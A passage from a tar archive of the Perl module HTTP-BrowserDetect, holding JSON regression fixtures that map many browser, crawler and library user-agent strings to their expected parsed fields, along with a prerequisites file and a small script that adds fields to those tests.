"LWP::UserAgent", "robot_version" : "5.11", "version" : "5.11" }, "msnbot/2.0b (+http://search.msn.com/msnbot.htm)" : { "country" : null, "language" : null, "major" : "2", "match" : [ "msn", "robot" ], "minor" : "0", "no_match" : null, "other" : null, "public_major" : "2", "public_minor" : "0", "public_version" : "2.0", "robot" : "msn", "robot_beta" : "b", "robot_major" : "2", "robot_minor" : ".0", "robot_string" : "MSN", "robot_version" : "2.0", "version" : "2.0" }, "puf/0.93.2a (Linux 2.4.20-19.9; i686)" : { "browser" : "puf", "browser_string" : "puf", "country" : null, "language" : null, "major" : "0", "match" : [ "lib", "puf", "robot", "linux", "unix" ], "minor" : "0.93", "no_match" : [ "mobile" ], "os" : "linux", "os_string" : "Linux", "other" : null, "robot" : "puf", "robot_beta" : ".2a", "robot_major" : "0", "robot_minor" : ".93", "robot_string" : "puf", "robot_version" : "0.93", "version" : "0.93" } } HTTP-BrowserDetect-3.16/t/00-report-prereqs.dd000644 000765 000024 00000004775 13214533442 021061 0ustar00olafstaff000000 000000 do { my $x = { 'configure' => { 'requires' => { 'ExtUtils::MakeMaker' => '0' }, 'suggests' => { 'JSON::PP' => '2.27300' } }, 'develop' => { 'requires' => { 'Test::CPAN::Changes' => '0.19', 'Test::Code::TidyAll' => '0.50', 'Test::More' => '0.96', 'Test::Synopsis' => '0' }, 'suggests' => { 'Dist::Zilla::Plugin::BumpVersionAfterRelease::Transitional' => '0.004', 'Dist::Zilla::Plugin::CopyFilesFromRelease' => '0', 'Dist::Zilla::Plugin::Git::Commit' => '2.020', 'Dist::Zilla::Plugin::Git::Tag' => '0', 'Dist::Zilla::Plugin::NextRelease' => '5.033', 'Dist::Zilla::Plugin::RewriteVersion::Transitional' => '0.004' } }, 'runtime' => { 'requires' => { 'perl' => '5.006', 'strict' => '0', 'vars' => '0', 'warnings' => '0' } }, 'test' => { 'recommends' => { 'CPAN::Meta' => '2.120900' }, 'requires' => { 'ExtUtils::MakeMaker' => '0', 'File::Spec' => '0', 'FindBin' => '0', 'JSON::PP' => '0', 'List::Util' => '1.49', 'Path::Tiny' => '0', 'Test::FailWarnings' => '0', 'Test::More' => '0', 'Test::Most' => '0', 'Test::NoWarnings' => '0' } } }; $x; }HTTP-BrowserDetect-3.16/t/add-field.pl000644 000765 000024 00000003476 13214533442 017504 0ustar00olafstaff000000 000000 #!/usr/bin/perl -w # Script for adding fields to existing regression tests # # Recommended use: # # $ perl -I../lib add-field.pl useragents.json > new-useragents.json # # This will add a field to existing regression tests, based on what # the code currently returns for a particular test. # # As currently written, this script adds the "browser" method to # existing tests. use strict; use FindBin; use JSON::PP; use Path::Tiny qw( path ); use HTTP::BrowserDetect; my $json_text = path( $ARGV[0] )->slurp; my $tests = JSON::PP->new->ascii->decode($json_text); foreach my $ua ( sort keys %{$tests} ) { my $test = $tests->{$ua}; my $detect = HTTP::BrowserDetect->new($ua); foreach my $field ( qw(browser browser_string device device_string engine engine_beta engine_minor engine_major engine_version os os_beta os_major os_minor os_version os_string robot robot_string robot_version robot_major robot_minor robot_beta) ) { no strict 'refs'; my $field_name = $field; my $value = $detect->$field; if ( $field_name eq 'device_string' ) { if ( defined( $test->{device_name} ) ) { $field_name = 'device_name'; } } elsif ( $field_name eq 'robot_string' ) { if ( defined( $test->{robot_name} ) ) { $field_name = 'robot_name'; } } elsif ( $field_name eq 'robot' ) { next unless $value || defined( $test->{$field_name} ); } if ( defined($value) || exists( $test->{$field_name} ) ) { $test->{$field_name} = $value; } else { delete $test->{$field_name}; } } } my $json = JSON::PP->new->canonical->pretty; my $output = $json->encode($tests); print "$output\n"; HTTP-BrowserDetect-3.16/t/more-useragents.json000644 000765 000024 00002077460 13214533442 021357 0ustar00olafstaff000000 000000 { "AccServer[admin-HDNVR]/5.2.2.24(27991) 64-bit HTTP-Agent" : { "browser_beta" : ".2.24(27991)", "browser_major" : "5", "browser_minor" : ".2", "match" : [ "robot" ], "robot" : "unknown", "robot_name" : "64-bit HTTP-Agent" }, "AdnormCrawler www.adnorm.com/crawler" : { "browser_major" : 0, "browser_minor" : ".0", "match" : [ "robot" ], "robot" : "unknown", "robot_name" : "AdnormCrawler www.adnorm.com/crawler" }, "AdsBot-Google (+http://www.google.com/adsbot.html)" : { "browser_major" : 0, "browser_minor" : ".0", "match" : [ "google", "googleadsbot", "robot", "robot_id" ], "robot" : "googleadsbot", "robot_name" : "Google AdsBot" }, "AdsBot-Google-Mobile (+http://www.google.com/mobile/adsbot.html) Mozilla (iPhone; U; CPU iPhone OS 3 0 like Mac OS X) AppleWebKit (KHTML, like Gecko) Mobile Safari" : { "browser" : "safari", "browser_string" : "Safari", "device" : "iphone", "device_string" : "iPhone", "major" : 0, "match" : [ "device", "ios", "iphone", "mobile", "safari", "robot", "robot_id", "google", "googleadsbot" ], "minor" : ".0", "os" : "ios", "os_beta" : "", "os_major" : "3", "os_minor" : ".0", "os_string" : "iOS", "os_version" : "3.0", "public_major" : 0, "public_minor" : ".0", "public_version" : 0, "robot" : "googleadsbot", "robot_string" : "Google AdsBot", "version" : 0 }, "Apache-HttpClient/4.2.3 (java 1.5)" : { "browser_beta" : ".3", "browser_major" : "4", "browser_minor" : ".2", "match" : [ "apache", "robot" ], "robot" : "apache", "robot_beta" : ".3", "robot_major" : "4", "robot_minor" : ".2", "robot_name" : "Apache HttpClient", "robot_version" : "4.2" }, "Apache-HttpClient/UNAVAILABLE (java 1.4)" : { "browser_major" : 0, "browser_minor" : ".0", "match" : [ "apache", "robot" ], "robot" : "apache", "robot_name" : "Apache HttpClient" }, "Apple-PubSub/28" : { "browser" : "pubsub", "browser_major" : 28, "browser_minor" : ".0", "browser_string" : "Safari RSS Reader", "match" : [ "pubsub" ], "robot" : 0 }, "AppleCoreMedia/1.0.0.9A405 (iPad; U; CPU OS 5_0_1 like Mac OS X; en_us)" : { "beta" : ".0.9a405", "browser" : "applecoremedia", "browser_string" : "AppleCoreMedia", "device" : "ipad", "device_string" : "iPad", "major" : "1", "match" : [ "applecoremedia", "device", "ios", "ipad", "lib", "tablet" ], "minor" : ".0", "os" : "ios", "os_beta" : ".1", "os_major" : "5", "os_minor" : ".0", "os_string" : "iOS", "os_version" : "5.0", "public_beta" : ".0.9a405", "public_major" : "1", "public_minor" : ".0", "public_version" : 1, "version" : 1 }, "BLABLUBB" : { "browser_major" : 0, "browser_minor" : ".0", "match" : [], "robot" : 0 }, "BUbiNG (+http://law.di.unimi.it/BUbiNG.html)" : { "browser_major" : 0, "browser_minor" : ".0", "match" : [ "robot" ], "robot" : "unknown", "robot_name" : "BUbiNG" }, "Baiduspider-image+(+http://www.baidu.com/search/spider.htm)\\\\nReferer: http://image.baidu.com/i?ct=503316480&z=0&tn=baiduimagedetail" : { "browser_major" : 0, "browser_minor" : ".0", "match" : [ "robot", "baidu" ], "robot" : "baidu", "robot_name" : "Baidu" }, "BingLocalSearchBot/1.0" : { "browser_major" : "1", "browser_minor" : ".0", "match" : [ "bingbot", "robot" ], "robot" : "bingbot", "robot_name" : "Bingbot" }, "BlackBerry9000/4.6.0.167 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/102 ips-agent" : { "browser" : "blackberry", "browser_beta" : ".0.167", "browser_major" : "4", "browser_minor" : ".6", "browser_string" : "BlackBerry", "device" : "blackberry", "device_string" : "BlackBerry 9000", "match" : [ "device", "blackberry", "ipsagent", "mobile", "robot" ], "robot" : "ipsagent", "robot_name" : "Verisign ips-agent" }, "CATExplorador/1.0beta (sistemes at domini dot cat; http://domini.cat/catexplorador.html)" : { "beta" : "beta", "major" : "1", "match" : [ "robot" ], "minor" : ".0", "public_beta" : "beta", "public_major" : "1", "public_minor" : ".0", "public_version" : 1, "robot" : "unknown", "robot_beta" : "beta", "robot_major" : "1", "robot_minor" : ".0", "robot_string" : "CATExplorador", "robot_version" : "1.0", "version" : 1 }, "CCBot/2.0 (http://commoncrawl.org/faq/)" : { "browser_major" : "2", "browser_minor" : ".0", "match" : [ "robot" ], "robot" : "unknown", "robot_beta" : "", "robot_major" : "2", "robot_minor" : ".0", "robot_name" : "CCBot", "robot_version" : "2.0" }, "COMODO SSL Checker" : { "browser_major" : 0, "browser_minor" : ".0", "match" : [ "robot" ], "robot" : "unknown", "robot_name" : "COMODO SSL Checker" }, "CRAZYWEBCRAWLER 0.9.2, http://www.crazywebcrawler.com" : { "browser_major" : 0, "browser_minor" : ".0", "match" : [ "robot" ], "robot" : "unknown", "robot_name" : "CRAZYWEBCRAWLER" }, "CatchBot/2.0; +http://www.catchbot.com" : { "browser_beta" : ";", "browser_major" : "2", "browser_minor" : ".0", "match" : [ "robot" ], "robot" : "unknown", "robot_beta" : "", "robot_major" : "2", "robot_minor" : ".0", "robot_name" : "CatchBot", "robot_version" : "2.0" }, "Crowsnest/0.5 (+http://www.crowsnest.tv/)" : { "browser_major" : 0, "browser_minor" : ".5", "match" : [ "robot" ], "robot" : "unknown", "robot_beta" : "", "robot_major" : "0", "robot_minor" : ".5", "robot_name" : "Crowsnest", "robot_version" : "0.5" }, "Dalvik/1.6.0 (Linux; U; Android 4.4.2; LGMS395 Build/KOT49I.MS39510d)" : { "browser" : "dalvik", "browser_beta" : ".0", "browser_major" : "1", "browser_minor" : ".6", "browser_string" : "Dalvik", "device" : "android", "device_string" : "Android (LGMS395)", "match" : [ "device", "android", "mobile", "dalvik", "lib" ], "os" : "android", "os_beta" : ".2", "os_major" : "4", "os_minor" : ".4", "os_string" : "Android", "os_version" : "4.4", "robot" : 0 }, "Dalvik/1.6.0 (Linux; U; Android 4.4.4; SAMSUNG-SM-G900A Build/KTU84P)" : { "browser" : "dalvik", "browser_beta" : ".0", "browser_major" : "1", "browser_minor" : ".6", "browser_string" : "Dalvik", "device" : "android", "device_string" : "Android (SAMSUNG-SM-G900A)", "match" : [ "device", "android", "mobile", "dalvik", "lib" ], "os" : "android", "os_beta" : ".4", "os_major" : "4", "os_minor" : ".4", "os_string" : "Android", "os_version" : "4.4", "robot" : 0 }, "DoCoMo/2.0 N905i(c100;TB;W24H16) (compatible; Googlebot-Mobile/2.1; +http://www.google.com/bot.html)" : { "browser_major" : "2", "browser_minor" : ".1", "match" : [ "mobile", "robot", "googlemobile", "google" ], "robot" : "googlemobile", "robot_beta" : "", "robot_major" : "2", "robot_minor" : ".1", "robot_name" : "Googlebot Mobile", "robot_version" : "2.1" }, "Dolphin http client/11.3.8(421) (Android)" : { "beta" : ".8(421)", "device" : "android", "device_string" : "Android", "major" : "11", "match" : [ "device", "android", "mobile" ], "minor" : ".3", "os" : "android", "os_string" : "Android", "public_beta" : ".8(421)", "public_major" : "11", "public_minor" : ".3", "public_version" : 11.3, "version" : 11.3 }, "Ec2-TEST/1.1 (http://amazon-ec2.com; test@amazon-ec2.com)" : { "browser_major" : "1", "browser_minor" : ".1", "match" : [], "robot" : 0 }, "EventMachine HttpClient" : { "browser_major" : 0, "browser_minor" : ".0", "match" : [], "robot" : 0 }, "FAST-WebCrawler/3.8" : { "browser_major" : "3", "browser_minor" : ".8", "match" : [ "robot" ], "robot" : "unknown", "robot_beta" : "", "robot_major" : "3", "robot_minor" : ".8", "robot_name" : "FAST-WebCrawler", "robot_version" : "3.8" }, "Feedfetcher-Google; (+http://www.google.com/feedfetcher.html; 1 subscribers; feed-id=331724573339007561)" : { "browser_major" : 0, "browser_minor" : ".0", "match" : [ "robot" ], "robot" : "unknown", "robot_name" : "Feedfetcher-Google" }, "Foo" : { "browser_major" : 0, "browser_minor" : ".0", "match" : [], "robot" : 0 }, "Go 1.1 package http" : { "browser_major" : 0, "browser_minor" : ".0", "match" : [ "robot", "lib", "golib" ], "robot" : "golib", "robot_name" : "Go language http library" }, "Google-HTTP-Java-Client/1.17.0-rc (gzip)" : { "browser_beta" : ".0-rc", "browser_major" : "1", "browser_minor" : ".17", "match" : [ "robot", "java", "lib" ], "robot" : "java", "robot_name" : "Java" }, "Google_Analytics_Snippet_Validator" : { "browser_major" : 0, "browser_minor" : ".0", "match" : [ "robot" ], "robot" : "unknown", "robot_name" : "Google_Analytics_Snippet_Validator" }, "Googlebot-Image/1.0" : { "browser_major" : "1", "browser_minor" : ".0", "match" : [ "robot", "googlebotimage", "google" ], "robot" : "googlebotimage", "robot_beta" : "", "robot_major" : "1", "robot_minor" : ".0", "robot_name" : "Googlebot Images", "robot_version" : "1.0" }, "Googlebot/2.1 (+http://www.googlebawt.com/bot.html)" : { "browser_major" : "2", "browser_minor" : ".1", "match" : [ "robot", "google" ], "robot" : "google", "robot_beta" : "", "robot_major" : "2", "robot_minor" : ".1", "robot_name" : "Googlebot", "robot_version" : "2.1" }, "IE8 on Windows Vista" : { "browser_major" : 0, "browser_minor" : ".0", "match" : [ "windows" ], "robot" : 0 }, "ImageSearcherPro/2.2.2 CFNetwork/711.2.23 Darwin/14.0.0" : { "browser" : "imagesearcherpro", "browser_beta" : ".2", "browser_major" : "2", "browser_minor" : ".2", "browser_string" : "ImageSearcherPro", "match" : [ "imagesearcherpro" ] }, "InAGist URL Resolver (http://inagist.com)" : { "browser_major" : 0, "browser_minor" : ".0", "match" : [ "robot" ], "robot" : "unknown", "robot_name" : "InAGist URL Resolver" }, "Ipad Iphone Safari" : { "browser" : "safari", "browser_string" : "Safari", "device" : "ipad", "device_string" : "iPad", "major" : 0, "match" : [ "device", "ios", "ipad", "tablet", "safari" ], "minor" : ".0", "os" : "ios", "os_string" : "iOS", "public_major" : 0, "public_minor" : ".0", "public_version" : 0, "version" : 0 }, "Java/1.6.0_04" : { "browser_beta" : ".0_04", "browser_major" : "1", "browser_minor" : ".6", "match" : [ "robot", "java", "lib" ], "robot" : "java", "robot_beta" : ".0_04", "robot_major" : "1", "robot_minor" : ".6", "robot_name" : "Java", "robot_version" : "1.6" }, "Java/1.6.0_65" : { "browser_beta" : ".0_65", "browser_major" : "1", "browser_minor" : ".6", "match" : [ "robot", "java", "lib" ], "robot" : "java", "robot_beta" : ".0_65", "robot_major" : "1", "robot_minor" : ".6", "robot_name" : "Java", "robot_version" : "1.6" }, "Java/1.7.0_51" : { "browser_beta" : ".0_51", "browser_major" : "1", "browser_minor" : ".7", "match" : [ "robot", "java", "lib" ], "robot" : "java", "robot_beta" : ".0_51", "robot_major" : "1", "robot_minor" : ".7", "robot_name" : "Java", "robot_version" : "1.7" }, "Java/1.7.0_60-ea" : { "browser_beta" : ".0_60-ea", "browser_major" : "1", "browser_minor" : ".7", "match" : [ "robot", "java", "lib" ], "robot" : "java", "robot_name" : "Java" }, "Java/1.7.0_71" : { "browser_beta" : ".0_71", "browser_major" : "1", "browser_minor" : ".7", "match" : [ "robot", "java", "lib" ], "robot" : "java", "robot_beta" : ".0_71", "robot_major" : "1", "robot_minor" : ".7", "robot_name" : "Java", "robot_version" : "1.7" }, "Java/1.7.0_75" : { "browser_beta" : ".0_75", "browser_major" : "1", "browser_minor" : ".7", "match" : [ "robot", "java", "lib" ], "robot" : "java", "robot_beta" : ".0_75", "robot_major" : "1", "robot_minor" : ".7", "robot_name" : "Java", "robot_version" : "1.7" }, "LWP::Simple/6.00 libwww-perl/6.08" : { "browser_major" : "6", "browser_minor" : ".00", "match" : [ "robot", "lwp", "lib" ], "robot" : "lwp", "robot_beta" : "", "robot_major" : "6", "robot_minor" : ".08", "robot_name" : "LWP::UserAgent", "robot_version" : "6.08" }, "LumiBot 2.0" : { "browser_major" : 0, "browser_minor" : ".0", "match" : [ "robot" ], "robot" : "unknown", "robot_beta" : "", "robot_major" : "2", "robot_minor" : ".0", "robot_name" : "LumiBot", "robot_version" : "2.0" }, "Lynx/2.8.4rel.1 libwww-FM/2.14 SSL-MM/1.4.1 GNUTLS/0.8.6" : { "browser" : "lynx", "browser_beta" : ".4rel.1", "browser_major" : "2", "browser_minor" : ".8", "browser_string" : "Lynx", "match" : [ "lynx" ], "robot" : 0 }, "MAUI WAP Browser" : { "device" : "wap", "device_string" : "WAP capable phone", "major" : 0, "match" : [ "device", "wap", "mobile" ], "minor" : ".0", "public_major" : 0, "public_minor" : ".0", "public_version" : 0, "version" : 0 }, "Mechanize/2.7.2 Ruby/2.0.0p481 (http://github.com/sparklemotion/mechanize/)" : { "browser_beta" : ".2", "browser_major" : "2", "browser_minor" : ".7", "match" : [ "robot", "lib", "rubylib" ], "robot" : "rubylib", "robot_beta" : ".0p481", "robot_major" : "2", "robot_minor" : ".0", "robot_name" : "Ruby http library", "robot_version" : "2.0" }, "Mechanize/2.7.2 Ruby/2.1.3p242 (http://github.com/sparklemotion/mechanize/)" : { "browser_beta" : ".2", "browser_major" : "2", "browser_minor" : ".7", "match" : [ "robot", "lib", "rubylib" ], "robot" : "rubylib", "robot_beta" : ".3p242", "robot_major" : "2", "robot_minor" : ".1", "robot_name" : "Ruby http library", "robot_version" : "2.1" }, "Microsoft-WebDAV-MiniRedir/5.1.2600" : { "browser_beta" : ".2600", "browser_major" : "5", "browser_minor" : ".1", "match" : [], "robot" : 0 }, "MixBot (+http://t.co/GSRLLKex24)" : { "browser_major" : 0, "browser_minor" : ".0", "match" : [ "robot" ], "robot" : "unknown", "robot_name" : "MixBot" }, "MobileSafari/600.1.4 CFNetwork/711.1.16 Darwin/14.0.0" : { "browser" : "safari", "browser_major" : "2", "browser_minor" : ".0", "browser_string" : "Mobile Safari", "match" : [ "safari", "mobile", "mobile_safari" ], "robot" : 0 }, "MobileSafari/9537.53 CFNetwork/672.1.15 Darwin/14.0.0" : { "browser" : "safari", "browser_major" : "2", "browser_minor" : ".0", "browser_string" : "Mobile Safari", "match" : [ "safari", "mobile", "mobile_safari" ], "robot" : 0 }, "Morfeus Fucking Scanner" : { "browser_major" : 0, "browser_minor" : ".0", "match" : [ "robot" ], "robot" : "unknown", "robot_name" : "Morfeus Fucking Scanner" }, "Mozilla/0.6 Beta (Windows)" : { "browser" : "netscape", "browser_major" : 0, "browser_minor" : ".6", "browser_string" : "Netscape", "match" : [ "windows", "netscape" ], "robot" : 0 }, "Mozilla/1.22 (compatible; MSIE 2.0; Windows 95)" : { "browser" : "ie", "browser_major" : "2", "browser_minor" : ".0", "browser_string" : "MSIE", "engine" : "ie", "engine_string" : "MSIE", "match" : [ "windows", "win95", "win32", "ie" ], "os" : "windows", "os_string" : "Win95", "robot" : 0 }, "Mozilla/1.22 (compatible; MSIE 2.0d; Windows NT)" : { "browser" : "ie", "browser_beta" : "d", "browser_major" : "2", "browser_minor" : ".0", "browser_string" : "MSIE", "engine" : "ie", "engine_string" : "MSIE", "match" : [ "windows", "winnt", "win32", "ie" ], "os" : "windows", "os_string" : "WinNT", "robot" : 0 }, "Mozilla/2.0 (compatible; MSIE 3.02; Windows CE; 240x320)" : { "browser" : "ie", "browser_major" : "3", "browser_minor" : ".02", "browser_string" : "MSIE", "engine" : "ie", "engine_string" : "MSIE", "match" : [ "windows", "wince", "mobile", "ie", "ie3" ], "os" : "windows", "os_string" : "WinCE", "robot" : 0 }, "Mozilla/2.0 (compatible; crw)" : { "browser_major" : "2", "browser_minor" : ".0", "match" : [], "robot" : 0 }, "Mozilla/3.0 (compatible; Indy Library)" : { "major" : "3", "match" : [ "indy", "lib", "robot" ], "minor" : ".0", "public_major" : "3", "public_minor" : ".0", "public_version" : 3, "robot" : "indy", "robot_string" : "Indy Library", "version" : 3 }, "Mozilla/3.0 (compatible; WebCapture 2.0; Auto; Windows)" : { "browser_major" : "2", "browser_minor" : ".0", "match" : [ "windows", "robot" ], "robot" : "unknown", "robot_beta" : "", "robot_major" : "2", "robot_minor" : ".0", "robot_name" : "WebCapture", "robot_version" : "2.0" }, "Mozilla/3.0 (x86 [en] Windows NT 5.1; Sun)" : { "browser" : "netscape", "browser_major" : "3", "browser_minor" : ".0", "browser_string" : "Netscape", "language" : "EN", "match" : [ "windows", "winnt", "win32", "winxp", "netscape", "nav3" ], "os" : "windows", "os_string" : "WinXP", "robot" : 0 }, "Mozilla/4.0" : { "browser" : "netscape", "browser_major" : "4", "browser_minor" : ".0", "browser_string" : "Netscape", "match" : [ "netscape", "nav4", "nav4up" ], "robot" : 0 }, "Mozilla/4.0 (CMS Crawler: http://www.cmscrawler.com)" : { "browser" : "netscape", "browser_major" : "4", "browser_minor" : ".0", "browser_string" : "Netscape", "match" : [ "netscape", "nav4", "nav4up", "robot" ], "robot" : "unknown", "robot_name" : "CMS Crawler: http://www.cmscrawler.com" }, "Mozilla/4.0 (compatible: MSIE 7.0; Windows NT 6.0)" : { "browser" : "ie", "browser_string" : "MSIE", "engine" : "ie", "engine_string" : "MSIE", "major" : "7", "match" : [ "windows", "winnt", "win32", "winvista", "ie", "ie4up", "ie5up", "ie55up", "ie7" ], "minor" : ".0", "os" : "windows", "os_string" : "WinVista", "public_major" : "7", "public_minor" : ".0", "public_version" : 7, "version" : 7 }, "Mozilla/4.0 (compatible; Blog Search;)" : { "browser_major" : "4", "browser_minor" : ".0", "match" : [ "robot" ], "robot" : "unknown", "robot_name" : "Blog Search" }, "Mozilla/4.0 (compatible; GoogleToolbar 7.0.1710.2246; Windows 6.1; MSIE 9.0.8112.16421)" : { "browser" : "ie", "browser_beta" : ".1710.2246", "browser_major" : "7", "browser_minor" : ".0", "browser_string" : "MSIE", "engine" : "ie", "engine_string" : "MSIE", "match" : [ "windows", "ie", "ie4up", "ie5up", "ie55up", "ie7" ], "robot" : 0 }, "Mozilla/4.0 (compatible; MSIE 4.01; Digital AlphaServer 1000A 4/233; Windows NT; Powered By 64-Bit Alpha Processor)" : { "browser" : "ie", "browser_major" : "4", "browser_minor" : ".01", "browser_string" : "MSIE", "engine" : "ie", "engine_string" : "MSIE", "match" : [ "windows", "winnt", "win32", "ie", "ie4", "ie4up" ], "os" : "windows", "os_string" : "WinNT", "robot" : 0 }, "Mozilla/4.0 (compatible; MSIE 5.01; Windows 95; MSIECrawler)" : { "browser" : "ie", "browser_major" : "5", "browser_minor" : ".01", "browser_string" : "MSIE", "engine" : "ie", "engine_string" : "MSIE", "match" : [ "windows", "win95", "win32", "ie", "ie4up", "ie5", "ie5up", "robot" ], "os" : "windows", "os_string" : "Win95", "robot" : "unknown", "robot_name" : "MSIECrawler" }, "Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0; MRA 3.0 (build 00614))" : { "browser" : "ie", "browser_major" : "5", "browser_minor" : ".01", "browser_string" : "MSIE", "engine" : "ie", "engine_string" : "MSIE", "match" : [ "windows", "winnt", "win32", "win2k", "ie", "ie4up", "ie5", "ie5up" ], "os" : "windows", "os_string" : "Win2k", "robot" : 0 }, "Mozilla/4.0 (compatible; MSIE 5.0; Windows 2000) Opera 6.0 [en]" : { "browser" : "opera", "browser_major" : "6", "browser_minor" : ".0", "browser_string" : "Opera", "language" : "EN", "match" : [ "win2k", "win32", "windows", "winnt", "opera", "opera6" ], "os" : "windows", "os_string" : "Win2k", "robot" : 0 }, "Mozilla/4.0 (compatible; MSIE 5.0; Windows 95) Opera 6.01 [en]" : { "browser" : "opera", "browser_major" : "6", "browser_minor" : ".01", "browser_string" : "Opera", "language" : "EN", "match" : [ "windows", "win95", "win32", "opera", "opera6" ], "os" : "windows", "os_string" : "Win95", "robot" : 0 }, "Mozilla/4.0 (compatible; MSIE 5.0; Windows NT; DigExt)" : { "browser" : "ie", "browser_major" : "5", "browser_minor" : ".0", "browser_string" : "MSIE", "engine" : "ie", "engine_string" : "MSIE", "match" : [ "windows", "winnt", "win32", "ie", "ie4up", "ie5", "ie5up" ], "os" : "windows", "os_string" : "WinNT", "robot" : 0 }, "Mozilla/4.0 (compatible; MSIE 5.5; Windows 95; BCD2000)" : { "browser" : "ie", "browser_major" : "5", "browser_minor" : ".5", "browser_string" : "MSIE", "engine" : "ie", "engine_string" : "MSIE", "match" : [ "windows", "win95", "win32", "ie", "ie4up", "ie5", "ie5up", "ie55", "ie55up" ], "os" : "windows", "os_string" : "Win95", "robot" : 0 }, "Mozilla/4.0 (compatible; MSIE 5.5; Windows NT 4.0; .NET CLR 1.0.2914)" : { "browser" : "ie", "browser_major" : "5", "browser_minor" : ".5", "browser_string" : "MSIE", "engine" : "ie", "engine_string" : "MSIE", "match" : [ "windows", "winnt", "win32", "ie", "ie4up", "ie5", "ie5up", "ie55", "ie55up", "dotnet" ], "os" : "windows", "os_string" : "WinNT", "robot" : 0 }, "Mozilla/4.0 (compatible; MSIE 6.0; AOL 9.0; Windows NT 5.1)" : { "browser" : "ie", "browser_major" : "6", "browser_minor" : ".0", "browser_string" : "AOL Browser", "engine" : "ie", "engine_string" : "MSIE", "match" : [ "windows", "winnt", "win32", "winxp", "ie", "aol", "ie4up", "ie5up", "ie55up", "ie6" ], "os" : "windows", "os_string" : "WinXP", "robot" : 0 }, "Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.2; Windows NT 5.1; SV1; .NET CLR 1.1.4322)" : { "browser" : "ie", "browser_major" : "6", "browser_minor" : ".0", "browser_string" : "AOL Browser", "engine" : "ie", "engine_string" : "MSIE", "match" : [ "windows", "winnt", "win32", "winxp", "ie", "aol", "ie4up", "ie5up", "ie55up", "ie6", "dotnet" ], "os" : "windows", "os_string" : "WinXP", "robot" : 0 }, "Mozilla/4.0 (compatible; MSIE 6.0; MSIE 5.5; Windows NT 5.0) Opera 7.02 Bork-edition [en]" : { "browser" : "opera", "browser_major" : "7", "browser_minor" : ".02", "browser_string" : "Opera", "language" : "EN", "match" : [ "windows", "winnt", "win32", "win2k", "opera", "opera7" ], "os" : "windows", "os_string" : "Win2k", "robot" : 0 }, "Mozilla/4.0 (compatible; MSIE 6.0; Update a; AOL 6.0; Windows 98)" : { "browser" : "ie", "browser_major" : "6", "browser_minor" : ".0", "browser_string" : "AOL Browser", "engine" : "ie", "engine_string" : "MSIE", "match" : [ "windows", "win98", "win32", "ie", "aol", "ie4up", "ie5up", "ie55up", "ie6", "aol6" ], "os" : "windows", "os_string" : "Win98", "robot" : 0 }, "Mozilla/4.0 (compatible; MSIE 6.0; Windows 98; Win 9x 4.90)" : { "browser" : "ie", "browser_major" : "6", "browser_minor" : ".0", "browser_string" : "MSIE", "engine" : "ie", "engine_string" : "MSIE", "match" : [ "windows", "winme", "win32", "ie", "ie4up", "ie5up", "ie55up", "ie6" ], "os" : "windows", "os_string" : "WinME", "robot" : 0 }, "Mozilla/4.0 (compatible; MSIE 6.0; Windows 98; Win 9x 4.90; Creative)" : { "browser" : "ie", "browser_string" : "MSIE", "engine" : "ie", "engine_string" : "MSIE", "major" : "6", "match" : [ "windows", "winme", "win32", "ie", "ie4up", "ie5up", "ie55up", "ie6" ], "minor" : ".0", "os" : "windows", "os_string" : "WinME", "public_major" : "6", "public_minor" : ".0", "public_version" : 6, "version" : 6 }, "Mozilla/4.0 (compatible; MSIE 6.0; Windows 98; Win 9x 4.90; H010818; AT&T CSM6.0)" : { "browser" : "ie", "browser_major" : "6", "browser_minor" : ".0", "browser_string" : "MSIE", "engine" : "ie", "engine_string" : "MSIE", "match" : [ "windows", "winme", "win32", "ie", "ie4up", "ie5up", "ie55up", "ie6" ], "os" : "windows", "os_string" : "WinME", "robot" : 0 }, "Mozilla/4.0 (compatible; MSIE 6.0; Windows 98; Win 9x 4.90; MRA 4.1 (build 00975))" : { "browser" : "ie", "browser_major" : "6", "browser_minor" : ".0", "browser_string" : "MSIE", "engine" : "ie", "engine_string" : "MSIE", "match" : [ "windows", "winme", "win32", "ie", "ie4up", "ie5up", "ie55up", "ie6" ], "os" : "windows", "os_string" : "WinME", "robot" : 0 }, "Mozilla/4.0 (compatible; MSIE 6.0; Windows ME) Opera 7.11 [en]" : { "browser" : "opera", "browser_major" : "7", "browser_minor" : ".11", "browser_string" : "Opera", "language" : "EN", "match" : [ "win32", "windows", "winme", "opera", "opera7" ], "os" : "windows", "os_string" : "WinME", "robot" : 0 }, "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; Avant Browser [avantbrowser.com]; Hotbar 4.4.5.0)" : { "browser" : "ie", "browser_major" : "6", "browser_minor" : ".0", "browser_string" : "MSIE", "engine" : "ie", "engine_string" : "MSIE", "match" : [ "windows", "winnt", "win32", "win2k", "ie", "ie4up", "ie5up", "ie55up", "ie6" ], "os" : "windows", "os_string" : "Win2k", "robot" : 0 }, "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; MRA 4.0 (build 00768))" : { "browser" : "ie", "browser_major" : "6", "browser_minor" : ".0", "browser_string" : "MSIE", "engine" : "ie", "engine_string" : "MSIE", "match" : [ "windows", "winnt", "win32", "win2k", "ie", "ie4up", "ie5up", "ie55up", "ie6" ], "os" : "windows", "os_string" : "Win2k", "robot" : 0 }, "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; T312461)" : { "browser" : "ie", "browser_major" : "6", "browser_minor" : ".0", "browser_string" : "MSIE", "engine" : "ie", "engine_string" : "MSIE", "match" : [ "windows", "winnt", "win32", "win2k", "ie", "ie4up", "ie5up", "ie55up", "ie6" ], "os" : "windows", "os_string" : "Win2k", "robot" : 0 }, "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) AdsFilter/1.0.0.15" : { "browser" : "ie", "browser_major" : "6", "browser_minor" : ".0", "browser_string" : "MSIE", "engine" : "ie", "engine_string" : "MSIE", "match" : [ "windows", "winnt", "win32", "winxp", "ie", "ie4up", "ie5up", "ie55up", "ie6" ], "os" : "windows", "os_string" : "WinXP", "robot" : 0 }, "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) Opera 7.54 [en]" : { "browser" : "opera", "browser_major" : "7", "browser_minor" : ".54", "browser_string" : "Opera", "language" : "EN", "match" : [ "windows", "winnt", "win32", "winxp", "opera", "opera7" ], "os" : "windows", "os_string" : "WinXP", "robot" : 0 }, "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 